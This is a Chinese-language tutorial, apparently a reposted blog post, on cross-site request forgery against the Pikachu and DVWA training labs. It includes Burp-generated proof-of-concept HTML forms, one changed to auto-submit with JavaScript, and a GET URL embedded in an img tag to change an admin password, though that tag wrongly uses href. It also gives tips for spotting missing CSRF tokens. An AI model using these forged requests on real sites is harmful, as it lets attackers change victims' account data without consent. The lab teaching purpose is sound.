CSRF基础

作者:凌度

仅供学习,切勿用于非法途径

1. 定义:

是基于回话实现的攻击攻击者需要在被攻击着与目标 Web 保持会话的时候,然后给它一个 url 链接,如果对方这时会话是保持着的,那么这个攻击就会实现

它是一种挟持用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法

2. csrf 利用:

1. 请求是伪造的:

攻击流程:当被攻击者登录某一网站的时候,在此期间,由于攻击者向你发送了一个构造好的

csrf 脚本或包含 csrf 脚本的链接,可能会执行一些用户不想做的功能(比如添加账号等)而这个操作并不是用户真正想要执行的

1. post 请求:

post 请求构造 payload 稍微有点难度,但是我们可以借助 burp 去生成 payload

拦截之后,即可在面板右键生成 CSRF 漏洞利用代码

注意:用户名为 kobe 是攻击者的用户名

生成 CSRF 攻击代码之后,然后把这个源码放在 html 里面,当被攻击者在那个页面的时候,然后你就可以双击这个 html 文件

burp 相当于是生成了一个当目标点击该链接就会自动提交 post 表单的 html 页面

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      history.pushState('', '', '/')
    </script>
    <form action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="boy" />
      <input type="hidden" name="phonenum" value="15988767673" />
      <input type="hidden" name="add" value="123aa34" />
      <input type="hidden" name="email" value="kobe&#64;pikachu&#46;com" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

从而实现数据的修改,但是我们还需要注意的一个点就是,我们被攻击者使用的浏览器和我们点击 CSRF 的 html 文件的浏览器一定要一致,否则就无法造成数据的修改

当然我们这里是存在一个缺陷的,就是用户点击该链接之后需要手动去点 Submit request 才能实现 csrf 攻击,我们应该对该 html 进行修改,就是加载页面的时候,让它自动提交表单

1. 改进后的 html:

我们直接利用 js 去提交表单,然后提交后的表单进行跳转即可

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
    <script>
        history.pushState('', '', '/')
    </script>
    <form action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
        <input type="hidden" name="sex" value="boy" />
        <input type="hidden" name="phonenum" value="15988767673" />
        <input type="hidden" name="add" value="123aa34" />
        <input type="hidden" name="email" value="kobe&#64;pikachu&#46;com" />
        <input type="hidden" name="submit" value="submit" />
        <input type="submit" value="Submit request" />
    </form>
    # 自动提交表单
    <script>
        document.forms[0].submit()
    </script>
</body>
</html>

2. get 请求:

get 请求非常简单,只需要一个 url 请求即可

我这里以 dvwa 作为案例,用户名:admin 密码 password

我们来到 dvwa 靶场,我们更改密码 123123 ,然后用 burp 进行拦截,

http://dvwa//vulnerabilities/csrf/?password_new=123123&password_conf=123123&Change=Change

接下来只需要做的就是让对方点击该链接之后,即可实现 CSRF 的攻击,我们可以通过在一个 html 页面中去放一个 img 标签,然后在标签里面放入该链接即可

<html lang="en">
​
  <head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
  </head>
​
  <body>
    <img href="http://dvwa//vulnerabilities/csrf/?password_new=123.com&password_conf=123.com&Change=Change" alt="">
​
  </body>
​
</html>

只要用户点击该链接就会触发 csrf

3. CSRF 漏洞发现:

1. 关注数据包中关键字:

数据包中几个关键字段,是否根据 cookie 来判断请求包

检查:Referer,auto,csrftoken 字段

2. 快速判断 CSRF 漏洞是否存在:

当你找到这些关键字之后,在请求信息中你把它删了,然后发送看相应数据,如果请求还是能够正常执行,那么就说明存在 csrf 漏洞

猜你喜欢

转载自blog.csdn.net/blackguest07/article/details/129225417
今日推荐